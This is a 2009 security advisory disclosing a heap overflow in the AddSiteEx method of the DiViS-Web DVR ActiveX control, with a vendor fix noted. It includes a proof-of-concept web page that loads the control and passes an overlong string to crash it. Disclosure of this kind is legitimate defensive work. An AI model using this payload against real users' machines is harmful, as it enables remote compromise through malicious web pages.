 |
 |
 |
 |
|
DiViS-Web ActiveX (ActiveView.cab) has a Heap Overflow vulnerability.
A Heap overflow vulnerability was found in AddSiteEx() function.
Application: Chance-i DiViS-Web DVR System ActiveX control (part of DiViS DVR)
Versions Affected: 3,0,0,21 (DiViS DVR less 11.10.2)
Vendor URL: http://www.divisdvr.com/
Bug: Heap Overflow
Exploits: YES
Reported: 13.03.2009
Second Reported: 20.03.2009
Vendor response: 12.05.2009
Solution: YES
Date of Public Advisory: 09.04.2009
Author: Digital Security Research Group [DSecRG] (research [at] dsecrg [dot] com)
Details
*******
There is an exploitable heap overflow vulnerability in DVR's ActiveX
control (ActiveView.cab).
If an DVR user were to visit a malicious web page, the overflow could be triggered allowing for a "remote" compromise of the user's machine. Alternatively, an attacker could send to their target a specially crafted e-mail, loaded with an exploit to take advantage of this vulnerability.
The problem arises due to passing an overly long string to the AddSiteEx
method of the control.
PoC:
<OBJECT ID="DVR" classid="clsid:66F7F252-3FE1-4650-B1E5-94B2A38271C5" STYLE="width: 0px;">
<PARAM NAME="_Version" VALUE="65536">
<PARAM NAME="_ExtentX" VALUE="18203">
<PARAM NAME="_ExtentY" VALUE="13705">
<PARAM NAME="_StockProps" VALUE="0">
<PARAM NAME="Split" VALUE="4">
</OBJECT>
//server address
var g_sAddress = location.hostname;
var g_sId = "";
var g_sPwd = "";
var g_bLogin = false;
var g_nMaxCamera = 16;
// Port setting
var g_nImage = 3000;
var g_nControl = 3001;
var g_nSound = 8800;
var long_buff = "alexsint";
while(long_buff.length<(550*8)) long_buff = long_buff + "alexsint"; //rewrite registers
DVR.Channels = 1;
DVR.AddSiteEx("", "", long_buff, "", 0, g_nImage, g_nControl, g_nSound); //Crash on Free() at ntdll
Solution
********
Vendor response:
This vulnerability does not apply from software version 11.10.2 or later.
About
*****
Digital Security is leading IT security company in Russia, providing information security consulting, audit and penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI DSS standards.
Digital Security Research Group focuses on web application and database security problems with vulnerability reports, advisories and whitepapers posted regularly on our website.
Contact: research [at] dsecrg [dot] com
http://www.dsecrg.com
http://www.dsec.ru
|
|
 |
 |
 |
 |
|
|
|
